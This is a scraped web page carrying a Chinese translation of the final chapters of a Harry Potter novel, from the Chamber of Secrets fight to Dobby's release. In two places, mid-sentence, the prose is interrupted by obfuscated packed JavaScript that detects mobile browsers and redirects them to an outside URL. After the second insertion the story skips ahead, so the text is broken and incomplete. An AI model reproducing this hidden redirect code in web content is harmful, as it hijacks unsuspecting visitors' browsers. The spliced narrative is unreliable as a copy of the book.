“原来是这样。你母亲为了救你而死。是的,那是一个非常有效的解咒术。我现在明白了——说到底,你身上并没有什么特殊的东西。你知道吗,我本来一直想不通这个道理。因为我们俩之间存在着一些奇特的相似之处,哈利·波特。你自己肯定也注意到了。我们都是混血统,都是孤儿,都是由麻瓜抚养长大的。也许还是自伟大的斯莱特林本人之后,进入霍格沃茨的仅有的两个蛇佬腔。我们甚至长得也有几分相像呢...不过说到底,原来你只是凭运气从我手里逃脱的。我想了解的就是这些。” 哈利站在那里,紧张地等待里德尔举起魔杖。但是里德尔脸上的狞笑更明显了。 “行了,哈利,我准备给你一点点儿教训。让我们比试比试力量吧,一边是伏地魔,萨拉查·斯莱特林的继承人,另一边是哈利·波特,带着邓布利多能够给他的最好武器。” 他朝福克斯和分院帽扫了一眼,似乎觉得非常滑稽,然后便走开了。哈利感到恐惧从他麻木的双腿向上蔓延,他注视着里德尔在高耸的石柱间停住脚步,抬头望着高高隐没在黑暗中的斯莱特林石雕像的脸。里德尔张开嘴巴,发出嘶嘶的声音——但是哈利听懂了他说的话。 “对我说话吧,斯莱特林——霍格沃茨四巨头中最伟大的一个。” 哈利赶紧转过身去,抬头望着雕像,福克斯在他的肩头摇晃了一下。 斯莱特林那张巨大的石雕面孔动了起来。哈利极度惊恐地看到它的嘴张开了,越张越大,最后形成一个巨大的黑洞。 什么东西在雕像的嘴里活动。什么东西从雕像深处窸窸窣窣地向上滑行。 哈利急步后退,撞在了漆黑的密室墙壁上。他的眼睛闭得紧紧的,感觉到福克斯在展翅起飞,翅膀扫到了他的面颊。哈利真想大喊:“别离开我!”但是一只凤凰怎么可能敌得过蛇王呢?一个庞然大物猛地摔落在石头地面上,哈利感到密室被震得颤抖起来。他知道是怎么回事,他可以感觉到,他几乎可以看见那条巨蛇正从斯莱特林的嘴里展开它盘绕的身体。 然后,他听见了里德尔那嘶嘶的声音:“杀死他。” 蛇怪正在向哈利移动,哈利可以听见它沉重的身体迟缓地滑过布满灰尘的地面。哈利一边仍然紧闭双眼,一边开始盲目地向旁边逃窜,双手伸在前面摸索看。里德尔在得意地狂笑...哈利绊倒了,重重地摔在石头上,嘴里有一般咸咸的血腥味。蛇怪离他只有几步了,他可以听见蛇怪正在一点点逼近。 突然,他头顶上方传来一声爆炸般的裂响,什么东西狠狠地击中哈利,把他撞到了墙上。他等着毒牙扎进自己的身体,这时他又听见了疯狂的嘶嘶声,什么东西把石柱猛地撞到了一边。 他再也忍不住了,把眼睛睁开细细的一条缝,想看看到底是怎么回事。 那条巨大的蛇怪,通体绿盈盈的,泛着毒蛇特有的艳丽光芒,身子有栎树的树干那么粗,它把上半身高高地伸向空中,扁平的大脑袋在石柱间胡乱地穿绕着,像喝醉了酒一样。就在哈利颤抖着想闭上眼睛时,蛇怪转过身来,于是哈利看清了是什么转移了它的注意力。 福克斯正绕着它的脑袋盘旋,蛇怪愤怒地朝凤凰扑去,嘴里露出军刀一般又薄又长的毒牙。 福克斯猛地俯冲下来,它长长的金喙扎进了蛇怪的脑袋,顿时,一股黑血泼溅到地面上,像一场阵雨。蛇怪的尾巴疯狂地摆动着,差点打中了哈利。没等哈利来得及闭上眼睛,蛇怪已经转过头来了。哈利正面看见了它的脸,看见了它的眼睛——那两只灯泡般的巨大的黄眼睛,都被凤凰啄瞎了。黑血汹涌地喷到地上,蛇怪痛苦地发出呼噜呼噜的声音。 “不要!”哈利听见里德尔在尖叫,“离开那只鸟!离开那只鸟!男孩在你后面!你还可以闻到他的气味!杀死他!” 瞎了眼的蛇怪转过身来,它失去了目标,不知道该怎么办,但是仍然很凶险。福克斯围着它的脑袋飞舞,嘴里唱着古怪的歌儿,时不时地对准蛇怪那布满鳞片的鼻子,这里啄一下,那里啄一下,黑血从蛇怪被戳瞎的眼睛里喷涌而出。 “救救我,救救我,”哈利不知所措地低唤道,“谁能救我,无论是谁!”蛇怪的尾巴又扫过来了。哈利赶紧一低头,一个柔软的东西击中了他的脸。 蛇怪把分院帽扫进了哈利怀里。哈利抓住帽子,这是他仅有的武器,是他唯一的希望了。他胡乱地把它扣在脑袋上,接着便趴倒在地,因为蛇怪的尾巴又朝他扫过来了。 “救救我——救救我——”哈利想道,眼睛被紧紧地压在帽子下面,“请救救我。” 没有声音回答他。相反,帽子越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338719|167802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来越紧,就好像有一只看不见的手在拼命地攥紧它似的。 啷!一个很硬很重的东西落到哈利的脑袋顶上,差点把他砸昏了。他的眼前冒起了金星。他一把抓住帽顶,想把它脱掉,却摸到帽子下面有一个长长的、硬硬的东西。 一把闪闪发亮的银剑出现在帽子里,剑柄上镶着璀璨夺目的鸡蛋大的红宝石。 “杀死那个男孩!离开那只鸟!男孩在你后面!你使劲闻闻——闻闻他的气味!” 哈利已经站起来,做好了准备。蛇怪的脑袋正在降落,它朝哈利转过脸来,身体一圈圈地盘绕起来,啪啪地敲打着那些石柱。哈利可以看见它那两个巨大的、鲜血淋漓的眼窝,看见它的嘴巴张得很大很大,大得简直能把他整个吞下去,嘴里露出两排像他的银剑那么长的毒牙,薄薄的,发着寒光,含着毒液... 它盲目地冲了过来。哈利慌忙躲闪,撞到了密室的墙上。它又扑了过来,分岔的舌头嗖地掠过哈利的身体。哈利用双手举起银剑。 蛇怪又一次扑了过来。这次它的目标很明确。哈利把全身的力气都运到了银剑上,猛地将它深深扎入蛇怪的上腭,深得直没到剑柄。 然而,就在热乎乎的蛇血淋透哈利的手臂时,他感到胳膊肘突然一阵钻心的疼痛。一只带着毒液的长牙正越来越深地陷进他的胳膊,当蛇怪痛苦地扭曲着,翻滚到一旁的地面上时,那根毒牙断裂了。 哈利顺着墙壁滑到地上。他抓住那根正在往他身体里喷射毒液的长牙,把它从胳膊里拔了出来。但是他知道已经晚了。剧烈的疼痛正缓慢而持续地从伤口向全身蔓延。当他扔掉毒牙,注视着自己的鲜血慢慢浸透长袍时,他的视线已经开始模糊了。密室逐渐消融在一团飞速旋转着的昏暗色彩中。 一道鲜红色的光轻盈地从眼前掠过,哈利听见身边传来爪子的轻轻抓挠声。 “福克斯,”哈利含混不清地说,“你太棒了,福克斯...”他感到大鸟把它美丽的脑袋贴在他被蛇怪毒牙刺中的地方。 他听见了伴随着回音的脚步声,接着,一个黑压压的影子站到了他的面前。 “你死了,哈利·波特,”里德尔的声音在他上面说,“死了。就连邓布利多的鸟也知道这一点。你看见它在做什么吗,波特?它在哭呢。” 哈利眨了眨眼睛。福克斯的脑袋忽而清晰忽而模煳。大滴大滴珍珠般的泪珠,顺着它富有光泽的羽毛滚落下来。 “我要坐在这里,亲眼看着你死去,哈利·波特。不要着急,我有的是时间。” 哈利感到昏昏欲睡。周围的一切似乎都在旋转。 “大名鼎鼎的哈利·波特就这样完蛋了,”里德尔的声音从很远的地方传来,“孤零零地在密室里,被朋友们抛弃。他不自量力地向黑魔头挑战,终于败在了黑魔头的手下。哈利,你很快就要跟你亲爱的麻瓜母亲会面了...她以自己的生命为代价,让你又苟活了十二年..可是伏地魔终于把你干掉了,其实,你早就知道他一定会做到这一点的。” 哈利心想,如果他正在死去,倒不算特别难受。就连疼痛的感觉也慢慢减轻了...可是,这难道真是死亡吗?密室不仅没有变得一片漆黑,反而渐渐清晰起来。哈利轻轻摇了摇头,他看见了福克斯,大鸟仍然把脑袋靠在他的胳膊上。他的伤口周围闪烁着一片珍珠般的泪水——咦,奇怪,伤口怎么不见了? “滚开,你这只破鸟,”里德尔的声音突然说道,“快从他身上滚开。听见没有,滚开!” 哈利抬起头,里德尔正用哈利的魔杖指着福克斯。嘭的一声巨响,像打枪一样,福克斯飞了起来,如同一股金色和红色组成的旋风。 “凤凰的眼泪...”里德尔小声地说,眼睛盯着哈利的胳膊,“当然...有疗伤的作用...我忘记了...” 他注视着哈利的脸。“不过没有关系。实际上,我认为这样更好。只有你相我,哈利·波特...你和我...” 他举起魔杖。就在这时,福克斯迅速地扑扇着翅膀,又在他们头顶上盘旋了,随即,一样东西落在了哈利的膝盖上——那本日记。在那生死关头的一刹那,哈利,以及仍然举着魔杖的里德尔,眼睛都盯住了它。然后,哈利没有思考,也没有半点犹豫,好像他一直就打定主意要这么做似的,他一把抓起身边地上的蛇怪毒牙,径直把它插进了日记本的中心。 随着一声可怕的、持久的、穿透耳膜的尖叫,一股股墨水从日记本里汹涌地喷射出来,顺着哈利的双手淌到地上。 里德尔扭曲着、挣扎着,双臂不停地挥舞着,嘴里发出声声惨叫,然后...他消失了。啪嗒一声,哈利的魔杖掉在地上,然后一切都沉寂下来,只听见墨水仍然从日记本里嘀嗒嘀嗒地渗出来的声音。蛇怪的毒液把日记本灼穿了一个洞,还在嘶嘶地冒着黑烟。 哈利浑身颤抖,支撑着站了起来。他感到天旋地转,就好像刚刚用飞路粉旅行了十万八千里似的。 慢慢地,他抬起他的魔杖和分院帽,又使出吃奶的力气,从蛇怪的上腭里拔出了那把银光闪闪的宝剑。 这时,一声轻轻的呻吟从密室那头传来。金妮开始动弹了。哈利匆匆赶过去时,金妮坐了起来。 她茫然的目光先落到蛇怪庞大的尸体上,又落到穿着血迹斑斑的长袍的哈利身上,最后落到他手里的日记上。她打了一个哆嗦,倒抽一口冷气,眼泪便哗哗地流了下来。 “哈利——哦,哈利——吃早饭的时候,我——我想告诉你的,可是当着珀西的面,我没——没法说。是我干的,哈利——可是我——我发誓我——我不是有意的,是里——里德尔逼我的,他——他控制了我。你——你是怎么杀死那个——那个家伙的?里德尔在——在哪里?我——我最后只记得他从日记里出来——” “现在没事了,”哈利说,他给金妮看那个被毒牙穿透的大洞,“里德尔完蛋了。看!他和蛇怪都完蛋了。走吧,金妮,我们赶紧离开这里——” “我会被开除的!”当哈利搀扶着她晃晃悠悠地站起来时,金妮哭泣着说,“自从比——比尔来了以后,我就一直盼着到霍格沃茨来念书,现在我不得不离开了,爸爸妈妈会怎——怎么说呢?” 福克斯在密室的入口处盘旋,等待着他们。哈利催金妮快走,他们跨过蛇怪一动不动的盘绕的尸体,穿过昏暗空旷、回音阵阵的房间,回到了隧道里。哈利听见,两扇石门在他们身后哧溜一下轻轻合上了。 他们顺着隧道往上走了几分钟,哈利听见远处传来慢慢搬动岩石的声音。 “罗恩!”哈利喊道,脚底下加快了速度。“金妮没事儿!我找到她了!”他听见罗恩发出一声沉闷的欢呼。 他们又转过一个弯道,就看见罗恩的脸透过一个很大的豁口,急切地向他们张望,这个豁口是他好不容易在坠落的碎石堆中掏出来的。 “金妮!”罗恩把手从豁口中伸出来,先把金妮拉了过去,“你还活着!我真不敢相信!怎么回事?” 他想搂抱金妮,可是金妮哭泣着不让他接近自己。 “你没事了,金妮,”罗恩微笑着对她说,“一切都过去了——那只鸟是从哪儿来的?”福克斯跟在金妮后面飞过了豁口。 “它是邓布利多的。”哈利说着,自己也从豁口里挤了过去。 “你怎么会有一把宝剑的?”罗恩盯着哈利手里那件银光闪闪的武器,吃惊地问。 “等我们离开这里以后,我再慢慢向你解释。”哈利瞟了金妮一眼,说道。 “可是——” “以后再说。”哈利赶紧说道。他认为最好不要告诉罗恩是谁打开了密室,至少不能当着金妮的面告诉他。 “洛哈特呢?” “在那儿呢,”罗恩说着,咧开嘴笑了,他把头对着隧道通向水管的地方扬了扬,“他的情况很糟糕。过去看看吧。” 福克斯宽阔的鲜红色翅膀,在黑暗中放射出一道柔和的金光。他们跟在它后面,一路返回到水管的入口处。吉德罗·洛哈特坐在那里,自得其乐地哼着小曲儿。 “他的记忆消失了,”罗恩说,“遗忘魔咒向后发射了,没有击中我们,倒把他自己给击中了。他完全不记得自己是谁,在什么地方,也不认识我们了。我叫他上这儿来等着。他在那里待着不安全。” 洛哈特和蔼可亲地抬头望着他们。 “你们好,”他说,“这个地方真奇怪,是吗?你们住在这里吗?” “不是。”罗恩说,一边朝哈利扬了扬眉毛。哈利弯下腰,透过长长的、黑洞洞的水管向上望去。 “你有没有想过,我们怎么顺着水管回到那上面去呢?”他对罗恩说。 罗恩摇了摇头。风凰福克斯刚才嗖地飞过哈利身旁,此刻在他前面扑扇着翅膀,亮晶晶的眼睛在黑暗中显得格外明亮。它摆动着尾巴后面长长的金色羽毛。哈利迟疑地望着它。 “它好像希望你抓住它...”罗恩说,显得有些困惑,“可是你太重了,一只鸟不可能把你拉上去的。” “福克斯可不是一只普通的鸟。”哈利说。他迅速转向其他人,“我们必须一个抓牢一个。金妮,你抓住罗恩的手。洛哈特教授——” “他说的是你。”罗恩很不客气地对洛哈特说。“你抓住金妮的另一只手。” 哈利把宝剑和分院帽塞进腰带,罗恩抓住哈利的长袍后襟,哈利伸手抓住福克斯尾巴上热得出奇的羽毛。 一种奇特的轻松感迅速掠过他的全身,接着,呼的一下,他们都顺着水管向上飞去。哈利可以听见洛哈特悬挂在他下面,嘴里不住地喊道:“太惊人了!太惊人了!简直像魔法一样!” 寒冷的气流吹拂着哈利的头发。他还在尽情享受这种飞行的乐趣时,旅程结束了——四个人落在哭泣的桃金娘的盥洗室的潮湿地板上,就在洛哈特把他的帽子扶正时,那座掩盖水管的水池自动滑到了原来的地方。 桃金娘瞪大眼睛望着他们。“你还活着。”她扫兴地对哈利说。 “没必要用这么失望的口气说话。”哈利板着脸说,一边擦去眼镜片上星星点点的血迹和黏液。 “噢,是这样...我一直在考虑,如果你死了,欢迎你和我共同使用这个抽水马桶。”桃金娘说,害羞得脸变成了银白色。 “哈哈!”他们离开盥洗室,走向外面空荡荡的走廊时,罗恩说道,“哈利!我觉得桃金娘喜欢上你了!金妮,你有了竞争对手啦!” 可是,眼泪仍然像断了线的珍珠一样,无声地从金妮的面颊上滚落下来。 “现在往哪儿走?”罗恩焦虑地看了金妮一眼,问道。哈利指了指前面。福克斯在前面领路,顺着走廊一路闪着金光。 他们大步跟着它,片刻之后,发现自己站在了麦格教授的办公室外面。 哈利敲了敲门,然后把门推开了。 37. 多比的报偿 哈利、罗恩、金妮和洛哈特站在门口,身上布满了淤泥和黏液,哈利的长袍上还沾着血迹。一时间,四下里一片静默。 突然,一声尖叫——“金妮!” 是韦斯莱夫人,她刚才一直坐在炉火前哭泣。这时,她猛地跳起来,后面跟着韦斯莱先生,两个人同时伸出双臂,搂住了他们的宝贝女儿。 哈利的目光越过他们,朝屋里望去。邓布利多教授面带微笑,站在壁炉架前面,在他旁边的是麦格教授,她用手揪住胸口,大口大口地抽着冷气。福克斯呼地贴着哈利的耳边飞过,落在邓布利多的肩头。 就在这时,哈利发现自己和罗恩都被韦斯莱夫人紧紧搂到了怀里。 “你们救了她!你们救了她!你们是怎么做的?” “这也是我们大家都想知道的。”麦格教授虚弱无力地说。 韦斯莱夫人松开了哈利,哈利迟疑了片刻,走到书桌旁,把分院帽、镶着红宝石的银剑,以及里德尔那本日记的残骸,一样一样都放在桌上。 随后,他开始把事情原原本本地讲给他们听。他讲了大约有一刻钟,大家听得十分专心,房间里鸦雀无声。 他讲到,他总是听见那个没有形体的、游魂般的声音,赫敏费尽心思,终于发现他听见的是一条蛇怪潜伏在水管里的声音。 他还讲到,他和罗恩曾经跟随蜘蛛进入了禁林,阿拉戈克告诉他们蛇怪的最后一个牺牲品是在什么地方遇害的,于是他便猜到,哭泣的桃金娘就是那个受害者,而密室的入口很可能就在她的盥洗室里... “很好,”他停顿下来时,麦格教授鼓励他继续往下说,“这么说你们发现了入口在哪里——我还得补充一句,你们一路上违反了一百多条校规——可是你们究竟是怎么从那儿死里逃生的呢,波特?” 于是哈利继续往下说,他因为不停地讲话,嗓子都沙哑了。他告诉他们,福克斯怎样及时赶到,分院帽怎样赠给他宝剑。可是接着,他的声音变得迟疑了。他前面一直避免提到里德尔的日记——提到金妮。 此刻,金妮正站在那里,把头靠在韦斯莱夫人的肩膀上,眼泪仍然默默地顺着她的面颊滚落下来。如果他们把她开除了怎么办呢?哈利紧张地思索着。里德尔的日记已经失灵了...他们怎么能够证明,那些事情都是里德尔强迫她做的呢? 哈利本能地把目光投向了邓布利多,只见校长淡淡地微笑着,火光在他半月形的眼镜片上飞快地一闪。 “我最感兴趣的是,”邓布利多温和地说,“伏地魔是用什么办法迷惑金妮的,因为据我的消息来源显示,他目前正躲在阿尔巴尼亚的森林里呢。” 哈利松了口气——大大地、如释重负地松了口气,浑身感到一阵轻松,心里热乎乎的。 “什——什么?”韦斯莱夫人用惊愕的声音说,“神秘人?迷惑了金妮?可是金妮不是...金妮没有...是吗?” “都是这个日记本在作祟,”哈利赶紧说道,一边抓起那本日记,拿给邓布利多看,“是里德尔十六岁的时候写的。” 邓布利多从哈利手里接过日记本,目光从他长长的鹰钩鼻上投下来,专注地凝视着那些湿乎乎的、被烧焦的纸页。 “真了不起,”他轻声地说,“不用说,他大概可以说是霍格沃茨有史以来最出色的学生。”他转过身子,面对着韦斯莱夫妇,他们俩都显得十分困惑。 “很少有人知道伏地魔以前曾叫汤姆·里德尔。五十年前,在霍格沃茨,我亲自教过他。他离开学校后就失踪了...周游四方,足迹遍及天涯海角...在黑魔法的泥潭中越陷越深,和巫师界最邪恶的家伙混迹在一起,经过许多次危险的魔法变形,最后作为伏地魔重新出现,人们很难认出他来。几乎没有一个人把伏地魔同曾在这里念书的那个聪明、英俊的男生学生会主席联系起来。” “可是金妮呢?”韦斯莱夫人说,“我们的金妮和——和他有什么关系?” “他的日——日记本!”金妮抽泣着说,“我一直在——在上面写字,整整一年,他——他不断地给我写回话——” “金妮!”韦斯莱先生惊得目瞪口呆,说道,“我难道没有教过你吗?我一直怎么跟你说的?永远不要相信任何能够独立思考的东西,除非你看清了它把头脑藏在什么地方。你当初为什么不把日记拿给我或你妈妈看看?像那样一个可疑的东西,显然充满了黑魔法的妖术!” “我——我不知道,”金妮仍在伤心地哭泣,“我在妈妈给我的一本书里发现它的。我——我以为有人把它夹在那里,忘记了.一” “韦斯莱小姐应该立刻到校医院去,”邓布利多不由分说地插嘴道,“这对她来说是一场痛苦的折磨。学校不会对她有什么惩罚的。许多比她年长、比她足智多谋的巫师都被伏地魔蒙蔽了。” 他大步走到门边,把门打开。“卧床休息,或许,还应该再喝上一大杯热气腾腾的巧克力奶,我一向觉得那对改善我的心情很有好处。”他说,一边低头慈祥地冲金妮眨眨眼睛。“你会发现庞弗雷夫人还没有睡觉。她刚才在分发曼德拉草药水——我敢说,蛇怪的受害者随时都可能醒过来。” “这么说,赫敏也没事了!”罗恩高兴地说。 “没有造成任何持久性的伤害。”邓布利多说。 韦斯莱夫人把金妮领了出去,韦斯莱先生跟在后面,仍然是一副受了很大打击的样子。 “你知道吗,米勒娃,”邓布利多教授若有所思地对麦格教授说,“我认为,这么些事情,很值得开个宴会庆祝庆祝了。我能否请你去通知一下厨房呢?” “行,”麦格夫人干脆地说,也动身向门口走去,“波特和韦斯莱就交给你处理了,是吗?” “当然。”邓布利多说。 她走了,哈利和罗恩不安地盯着邓布利多。麦格教授刚才的话到底是什么意思?处理他们?他们该不会——该不会——受到惩罚吧? “我记得我似乎对你们俩说过,如果你们再违反校规,我就不得不把你们开除了。”邓布利多说。 罗恩惊恐地张大嘴巴。 “这就说明,即使是我们中间最优秀的人,有时候也只能说话不算话了。”邓布利多笑眯眯地继续说道,“你们俩都获得了对学校的特殊贡献奖,还有——让我想想——对了,你们每人为格兰芬多赢得了两百分。” 罗恩的脸顿时变成了鲜艳的粉红色,就像洛哈特送给大家的情人节鲜花,他的嘴巴也闭上了。 “可是对于这一番惊心动魄的冒险经历,我们中间有一个人却始终保持着惊人的沉默。”邓布利多又说道,“你为何这么谦虚啊,吉德罗?” 哈利惊得一跳。他把洛哈特完全忘到了脑后。他转过身去,看见洛哈特站在房间的一角,脸上仍然带着那种暖昧的笑容。当邓布利多向他提问时,洛哈特扭过头去看看邓布利多在跟谁说话。 “邓布利多教授,”罗恩赶紧说道,“在下面的密室里发生了一起事故。洛哈特教授——” “怎么,我是教授?”洛哈特微微有些吃惊地说,“天哪,我还以为自己不会有多大出息呢!” “他想施一个遗忘魔咒,结果魔杖向后发射了。”罗恩小声地对邓布利多解释道。 “我的天,”邓布利多说,摇了摇头,长长的、银白色的胡须微微颤动着,“吉德罗,你被自己的剑捅了一下?” “剑?”洛哈特迷惑地说,“我没有剑啊。那个男孩倒是有剑,”他指着哈利,“他会借给你一把的。” “劳驾,你能不能把洛哈特教授也送到医院去?”邓布利多对罗恩说,“我想跟哈利再谈几句...” 洛哈特迈着轻快的步子走了出去。罗恩关门的时候,回头好奇地看了邓布利多和哈利一眼。邓布利多走向火边的一把椅子。 “坐下吧,哈利。”他说。哈利坐了下来,心里感到紧张得难以形容。 “首先,哈利,我要谢谢你,”邓布利多说,眼睛里又闪烁着光芒,“你在下面的密室里一定对我表现出了绝对的忠诚。只有这种忠诚,才能把福克斯召唤到你的身边。” 那只凤凰已经扑棱棱地飞到了邓布利多的膝头,他轻轻地抚摸着它。哈利在邓布利多的注视下,不自然地笑了笑。 “这么说你遇见了汤姆·里德尔,”邓布利多若有所思地说,“我可以想象,他最感兴趣的就是你...” 突然,一件一直困扰着哈利的事从他嘴里脱口而出。“邓布利多教授...里德尔说我很像他。有一些奇特的相似之处,他说...” “他是这么说的?”邓布利多说,浓密银眉下的眼睛沉思地望着哈利,“你是怎么想的呢,哈利?” “我才不像他呢!”哈利说,本来不想用这么大的声音说话的,“我的意思是说,我——我在格兰芬多,我是...” 可是他沉默了,一丝疑虑又在他脑海里重新冒了出来。“教授,”过了片刻,他又说道,“分院帽对我说——我在斯莱特林会很优秀。有一段时间,大家都以为我是斯莱特林的继承人...因为我会说蛇佬腔。” “哈利,你会说蛇佬腔,”邓布利多平静地说,“是因为伏地魔会说蛇佬腔。他是萨拉查·斯莱特林的最后一个继承人。如果我没有弄错的话,他在给你留下伤疤的那天晚上,把他自己的一些法术也转移到了你的身上。他不是有意这么做的,我可以肯定...” “伏地魔把他自己的一部分转移到了我身体里?”哈利惊讶得目瞪口呆。 “显然是这样的。” “这么说我应该在斯莱特林的,”哈利绝望地盯着邓布利多的脸,说道,“分院帽可能在我身上看到了斯莱特林的一些本领,它就...” “把你放在了格兰芬多。”邓布利多不紧不慢地说,“听我说,哈利。你碰巧具有萨拉查·斯莱特林在他精心挑选学生时特别看重的许多索质。他自已的一些罕见天赋,蛇佬腔...足智多谋...意志坚强...还有某种对法律条规的藐视。”他说,银白色的胡须又在微微颤抖,“可是分院帽把你放在了格兰芬多,你知道为什么会这样吗?好好想想。” “它之所以把我放在格兰芬多,”哈利用一种心灰意冷的口气说,“是因为我提出不去斯莱特林...” “正是这样,”邓布利多说,脸上又露出了笑容。“这就使你和汤姆·里德尔大不一样了。哈利,表现我们真正的自我,是我们自己的选择,这比我们所具有的能力更重要。” 哈利一动不动地坐在椅子里,完全呆住了。 “哈利,如果你还需要证据,确信自己真的属于格兰芬多,我建议你再仔细看看这个。” 邓布利多探身从麦格教授的书桌上拿起那把血迹斑斑的银剑,递给哈利。哈利茫然地把它翻过来,红宝石在火光的映照下闪亮夺目。接着,他看见了,就在靠近剑柄的地方刻着一个名字。 戈德里克·格兰芬多。 “只有真正的格兰芬多,才能把它从帽子里抽出来,哈利。”邓布利多简单地说。 一时间,两人谁也没有说话。 然后,邓布利多拉开麦格教授书桌的一只抽屉,拿出一支羽毛笔和一瓶墨水。 “哈利,你现在需要的是吃点东西,好好睡一觉。我建议你下去参加宴会,我呢,在这里给阿兹卡班写一封信——应该让我们的狩猎场看守回来了。我还要起草一份招聘广告,登在《预言家日报》上,”他若有所思地说,“我们又需要一位新的老师来教黑魔法防御术课了。天哪,这门课的老师消耗得真快,是不是?” 哈利站起身,向门口走去。他刚握住门把手,门突然被大力撞开,嘭地弹在后面的墙上。 卢修斯·马尔福站在那里,神情怒不可遏。那战战兢兢地被他夹在他胳膊底下的,正是多比,身上到处都缠着绷带。 “晚上好,卢修斯。”邓布利多和颜悦色地说。 马尔福一头冲进房间,差点把哈利撞了个跟头。多比惊慌失措地跟在后面,弯腰曲背,盯着主人长袍背后的接缝,脸上挂着绝望、无助的恐惧。 “好啊!”卢修斯·马尔福冷冰冰的眼睛盯住邓布利多,说道,“你回来了。董事会暂停了你的职务,可是你仍然自作主张地回到了霍格沃茨。” “噢,是这样的,卢修斯,”邓布利多平静地微笑着,说道,“今天,另外的十一位董事都和我取得了联系。说句实话,当时猫头鹰接二连三地飞来,就好像下了一场冰雹。他们听说亚瑟·韦斯莱的女儿被害死了,都希望我立刻赶到这里。他们似乎认为,弄了半天,还是我最适合担任这份工作。他们还告诉了我一些奇怪的故事。他们有些人似乎认为,你曾经威胁说,如果他们不同意暂停我的职务。你就要诅咒他们的家人。” 马尔福先生的脸比平时更加苍白了,但他的眼睛里仍然喷着怒火。 “那么——你有没有阻止那些攻击事件呢?”他讥讽地问,“你有没有抓住凶手呢?” “我们抓住了。”邓布利多微笑着回答他。 “噢?”马尔福先生厉声地问,“是谁?” “还是上次的那个人,卢修斯,”邓布利多说,“不过,伏地魔这次是通过另一个人活动的。凭借他的日记。” 他举起那个中间贯穿着一个大洞的小黑本子,密切地注视着马尔福先生的反应。而哈利却望着多比。 那个家养小精灵的行为非常古怪。他那两只灯泡大的眼睛富有深意地盯着哈利,一边不停地指指那本日记,又指指马尔福先生,然后狠狠地用拳头敲打自己的脑袋。 “原来是这样...”马尔福先生慢慢地对邓布利多说。 “一个巧妙的计划,”邓布利多语调平和地说,仍然逼视着马尔福先生的眼睛,“如果这位哈利——”—— 马尔福先生用严厉的目光飞快地瞪了哈利一下——“和他的朋友罗恩没有发现这本日记。哎呀——金妮·韦斯莱可能就要背黑锅了。谁也没有办法证明她不是按自己的意志行动的...” 马尔福一言不发,他的脸突然像是罩上了一层假面具。 “想象一下吧,”邓布利多继续说,“那样会出现什么情况...韦斯莱一家是最有名望的纯巫师血统家族之一。想象一下吧,如果人们发现亚瑟·韦斯莱的亲生女儿在攻击和谋害麻瓜出身的人,这对韦斯莱和他的麻瓜保护法会产生什么影响。幸好这本日记被发现了,里德尔的记忆也从上面被抹消了。不然的话,谁知道会造成什么后果呢...” 马尔福先生强迫自己开口说话了。 “真是万幸。”他很不自然地说。 缩在他身后的多比,仍然很古怪地先指指那本日记,又指指卢修斯·马尔福,随即拼命地捶打自己的脑袋。 哈利突然明白了。他朝多比点了点头,于是多比退缩到墙角,又狠狠地揪着自己的耳朵作为惩罚。 “你不想知道金妮是怎么得到这本日记的吗,马尔福先生?”哈利说。 卢修斯·马尔福朝他转过身来。“ 我凭什么知道那个愚蠢的小姑娘是怎么得到它的?”他说。 “因为是你给她的,”哈利说,“在丽痕书店,你捡起她的变形课本,偷偷地把日记本塞在里面,是不是?” 他看见马尔福苍白的双手攥成了拳头,随即又松开了。 “有证据吗?"他嘶哑着声音说。 “哦,谁也没有办法提供证据了,”邓布利多笑眯眯地看着哈利,说道,“现在里德尔已经从本子里消失了。另外,卢修斯,我要给你一句忠告,不要再散发伏地魔学生时代的旧东西了。如果又有这些东西落到无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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卢修斯·马尔福呆呆地站在那里,瞪着家养小精灵。然后他突然向哈利扑去。 “你害得我失去了我的家仆,小子!” 可是多比喊道:“不许你伤害哈利·波特!” 只听邦的一声巨响,马尔福先生向后倒去。他跌跌撞撞、一步三级地冲下楼梯,最后乱糟糟地瘫倒在下面的平台上。他挣扎着站起来,脸色铁青,抽出了魔杖,可是多比举起了一只修长的、很有威力的手指。 “你可以走了,”他指着下面的马尔福先生,凶狠地说,“你永远不许碰哈利·波特。你现在可以走了。” 卢修斯·马尔福没有别的办法。他怒气冲冲地瞪了他们俩最后一眼,用斗篷裹住身体,匆匆地消失了。 “哈利·波特解放了多比!”小精灵用刺耳的尖声说,抬头望着哈利,月光从最近的一扇窗户洒进来,映照着他圆鼓鼓的眼睛,“哈利·波特使多比获得了自由!” “我没做什么,多比,”哈利咧着嘴笑了,说道,“你答应我,别再试图来保护我了。” 小精灵丑陋的棕红色脸上突然绽开一个灿烂的微笑,露出满口牙齿。 “我只有一个问题,多比,”当多比用颤抖的手穿上哈利的袜子时,哈利说,“你曾经告诉我,这一切都与那个连名字都不能提的人无关,记得吗?可是——” “这是一个暗示,先生,”多比的眼睛睁得更大了,就好像这是不言而喻的似的,“多比在给你一个暗示。黑魔头在他更名改姓之前,是可以提名字的,他的名字可以随便使用,明白了吗?” “明白了,”哈利勉强地说,“好吧,我得走了。他们在开宴会呢,我的朋友赫敏也该苏醒过来了...” 多比伸出双臂,抱住哈利的腰,紧紧地搂了他一下。 “哈利·波特比多比原先知道的还要伟大!”他啜泣着说,“别了,哈利·波特!” 多比嗓子眼里又发出一个很响的哽咽声,随后便消失了。 